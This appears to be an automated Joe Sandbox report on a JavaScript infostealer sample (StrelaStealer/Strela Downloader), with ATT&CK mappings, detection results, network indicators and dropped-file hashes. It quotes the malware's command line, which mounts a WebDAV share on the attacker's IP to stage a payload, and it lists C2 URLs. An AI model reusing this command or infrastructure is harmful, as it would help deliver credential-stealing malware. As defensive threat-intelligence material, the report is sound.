Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2024032514221887775.js	10%	Virustotal		Browse
2024032514221887775.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/pace?o	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/pace?o	net.exe, 00000007.00000002.2162746773.00000193C86E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3366111164.000002314FA0F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2161986864.000002314F8D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2162818211.00000193C8724000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2153646427.00000193C870D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163014520.00000193C8747000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2162818211.00000193C870D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588580
Start date and time:	2025-01-11 02:40:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2024032514221887775.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 162.159.61.3, 172.64.41.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 95.101.148.135, 2.16.168.105, 2.16.168.107, 13.107.246.45, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:41:40	API Interceptor	20x Sleep call for process: powershell.exe modified
20:41:44	API Interceptor	1x Sleep call for process: net.exe modified
20:41:44	API Interceptor	2x Sleep call for process: svchost.exe modified
20:41:57	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	168423236840504572.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3097128047142338539.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	142628891044814616.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	152068002360415087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18731127942186526806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307207349982949
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugS:gJjJGtpTq2yv1AuNZRY3diu8iBVqFKP
MD5:	2387DBDD08B7918A5055623EC35032EE
SHA1:	2C9F7E928EEB50B9E344595CCD6E47579D718166
SHA-256:	844438871A5819EC0C9EF5EAFC57527E7BE6C7C9D3AE06D72535A382917DC92A
SHA-512:	D5F13F4ABB75A0A6124E61F5968A79E00736D54F738D0DE19B3547D8B5C84CABC9C3E5248DEE7E1AE91ADD90046970FB6C8F77F4AEA7BD2C9D663FD79560C7E5
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x44f90c19, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585595384669389
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	D9262C7DCE47A152CA82B34417D9EE73
SHA1:	CB56A74647F204BE691AF4B4B64FAC9FD3AF8A50
SHA-256:	59BE5A3280100062CB5082F48C3D3099DFA92C97370964652F79883D254E0467
SHA-512:	03E04ED919C8F40B94F3B82A84D5E183160E08311E48FCE553175EBD499AF6E92FC93FBF6810C7182E75CD48AF58AEBDD9D9BF959C7C37D0D85338744B55B55D
Malicious:	false
Preview:	D...... ...............X\...;...{......................0.z..........{..-)...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................7-)...}..................d.w.-)...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08089447563307002
Encrypted:	false
SSDEEP:	3:NXEYe/xrhvtGuAJkhvekl19xrXlillrekGltll/SPj:Kz/jtrxlx1GJe3l
MD5:	B8B6E0AF578B3422F440E4996C55CBC9
SHA1:	72C32B7A3D46521C6E195EEFE59B81C9D1138B41
SHA-256:	84B5275A65E5FC2C4BDDDDD36F5D2404137ECF16A3EB2F843557BD4001793CC0
SHA-512:	0E867B3F2C01E44C173650B14442A5E1F01011276FF39647CEF7CD67F38A23BE2B39B8D9B03EA21D3B1DBE442D206B9F052600C907AB0FD20521CD114692086D
Malicious:	false
Preview:	.c]......................................;...{..-)...}.......{...............{.......{...XL......{..................d.w.-)...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.166173454625816
Encrypted:	false
SSDEEP:	6:iO4qVci1q2P92nKuAl9OmbnIFUtSqVc6FZmwsqVc6XkwO92nKuAl9OmbjLJ:7ncmv4HAahFUtZc6F/Lc6X5LHAaSJ
MD5:	F3A6D32DA3B20FFBE5BF7752F52AC773
SHA1:	097F880B96978E0A9722405F7AB1B2D70A401AEA
SHA-256:	7DCDD3317C68C1631C66CD6A470AFAC823B4D5F70F3365E0B5C6581DA775DA7D
SHA-512:	A270C536F7CEBF62B493463229DB64904CCB2D59D3ADEAA8EF718CFC54C57863D3035D274FA678D1A53D89197534068B7353803AB841849EE2954C0F946D9CF0
Malicious:	false
Preview:	2025/01/10-20:41:44.543 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:41:44.546 1b90 Recovering log #3.2025/01/10-20:41:44.546 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.166173454625816
Encrypted:	false
SSDEEP:	6:iO4qVci1q2P92nKuAl9OmbnIFUtSqVc6FZmwsqVc6XkwO92nKuAl9OmbjLJ:7ncmv4HAahFUtZc6F/Lc6X5LHAaSJ
MD5:	F3A6D32DA3B20FFBE5BF7752F52AC773
SHA1:	097F880B96978E0A9722405F7AB1B2D70A401AEA
SHA-256:	7DCDD3317C68C1631C66CD6A470AFAC823B4D5F70F3365E0B5C6581DA775DA7D
SHA-512:	A270C536F7CEBF62B493463229DB64904CCB2D59D3ADEAA8EF718CFC54C57863D3035D274FA678D1A53D89197534068B7353803AB841849EE2954C0F946D9CF0
Malicious:	false
Preview:	2025/01/10-20:41:44.543 1b90 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:41:44.546 1b90 Recovering log #3.2025/01/10-20:41:44.546 1b90 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.154717805557835
Encrypted:	false
SSDEEP:	6:iO4qVc0Oq2P92nKuAl9Ombzo2jMGIFUtSqVcSZmwsqVcaGDkwO92nKuAl9Ombzos:7ncFv4HAa8uFUtZcS/Lca45LHAa8RJ
MD5:	5AC887867C2D043CB14698484FAF62EA
SHA1:	25924802F559C738A90EC97CF1D29F7D597BAD04
SHA-256:	D17F2385525CD2411187A2139ED97158FD1F5C4DE801EE249442D7B0F0C81D2A
SHA-512:	61045F6C36C61DAE743EBC6AE7173A21D446E813339110AAE57DB9352969A799C7E47A8D6D7DDE33CEDC4681376A0354BD62749AC564BFAB0C8E863F9C0C1738
Malicious:	false
Preview:	2025/01/10-20:41:44.664 f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:41:44.666 f50 Recovering log #3.2025/01/10-20:41:44.667 f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.154717805557835
Encrypted:	false
SSDEEP:	6:iO4qVc0Oq2P92nKuAl9Ombzo2jMGIFUtSqVcSZmwsqVcaGDkwO92nKuAl9Ombzos:7ncFv4HAa8uFUtZcS/Lca45LHAa8RJ
MD5:	5AC887867C2D043CB14698484FAF62EA
SHA1:	25924802F559C738A90EC97CF1D29F7D597BAD04
SHA-256:	D17F2385525CD2411187A2139ED97158FD1F5C4DE801EE249442D7B0F0C81D2A
SHA-512:	61045F6C36C61DAE743EBC6AE7173A21D446E813339110AAE57DB9352969A799C7E47A8D6D7DDE33CEDC4681376A0354BD62749AC564BFAB0C8E863F9C0C1738
Malicious:	false
Preview:	2025/01/10-20:41:44.664 f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:41:44.666 f50 Recovering log #3.2025/01/10-20:41:44.667 f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\62f0ab6f-8370-45ad-8bbd-9ccfea33c074.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.050198934307596
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqc5cksBdOg2HAcaq3QYiubxnP7E4T3OF+:Y2sRdsT5edMHr3QYhbxP7nbI+
MD5:	6B7F01FCEC1974371F76CC16F897424E
SHA1:	0C0D6F0801213754885B95D6E54DF3D68798C361
SHA-256:	AFBE3677E80E197144633FAA4E546B33F952F0A652A03F6B14DE91FADE5D36E3
SHA-512:	B3FCFCAA5E55D30A80DCF64F8CC585798FD8C849E02FF5329F47979794E699CC59993FED00E4E9EEAAB817E513719A292FA3D5216802C5E5EC42E9CF7A18E979
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119710826922","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":352323},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.050198934307596
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqc5cksBdOg2HAcaq3QYiubxnP7E4T3OF+:Y2sRdsT5edMHr3QYhbxP7nbI+
MD5:	6B7F01FCEC1974371F76CC16F897424E
SHA1:	0C0D6F0801213754885B95D6E54DF3D68798C361
SHA-256:	AFBE3677E80E197144633FAA4E546B33F952F0A652A03F6B14DE91FADE5D36E3
SHA-512:	B3FCFCAA5E55D30A80DCF64F8CC585798FD8C849E02FF5329F47979794E699CC59993FED00E4E9EEAAB817E513719A292FA3D5216802C5E5EC42E9CF7A18E979
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381119710826922","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":352323},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235505188865363
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUcXe:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLk
MD5:	EEC9C0AA68C77A2753E69B375CE6C0BF
SHA1:	1F1C07A5430FD7EE7EC915B06883FE81C5942143
SHA-256:	015B5D305D1EAD69EF4FDD6EA8613EFD12EC06D0604204C3F43D8E346E7E55CF
SHA-512:	445DF20047136820E2BDA64920FA14A5DBEB3E0F16CBFE7D39B385356D885BE7DB6573F720961701C29A0569F4B1A782C6DA2E48FD3D99F83709C3F92A7E2E37
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.167867258053591
Encrypted:	false
SSDEEP:	6:iO4qV+q2P92nKuAl9OmbzNMxIFUtSqVhXZmwsqV3MVNDkwO92nKuAl9OmbzNMFLJ:7n+v4HAa8jFUtZhX/L3MVF5LHAa84J
MD5:	2F104CA9C98EDB4932AEF4A20C4918CC
SHA1:	82B31BD99F045F346351DBE24ABDE9ED389BC430
SHA-256:	B0A17FAC38BF00B1D22066C836D1807B80146670597F42403175ABFD0D1407F5
SHA-512:	D1B0684DD08170BB7820D3D37C5F42422AA531FF5C699CA4C1ACDAB7EEF4FD164BA470D8C5EFEBF628D6ED3249FBF30096072C4EAACD9208216869350072D975
Malicious:	false
Preview:	2025/01/10-20:41:45.364 f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:41:45.366 f50 Recovering log #3.2025/01/10-20:41:45.367 f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.167867258053591
Encrypted:	false
SSDEEP:	6:iO4qV+q2P92nKuAl9OmbzNMxIFUtSqVhXZmwsqV3MVNDkwO92nKuAl9OmbzNMFLJ:7n+v4HAa8jFUtZhX/L3MVF5LHAa84J
MD5:	2F104CA9C98EDB4932AEF4A20C4918CC
SHA1:	82B31BD99F045F346351DBE24ABDE9ED389BC430
SHA-256:	B0A17FAC38BF00B1D22066C836D1807B80146670597F42403175ABFD0D1407F5
SHA-512:	D1B0684DD08170BB7820D3D37C5F42422AA531FF5C699CA4C1ACDAB7EEF4FD164BA470D8C5EFEBF628D6ED3249FBF30096072C4EAACD9208216869350072D975
Malicious:	false
Preview:	2025/01/10-20:41:45.364 f50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:41:45.366 f50 Recovering log #3.2025/01/10-20:41:45.367 f50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
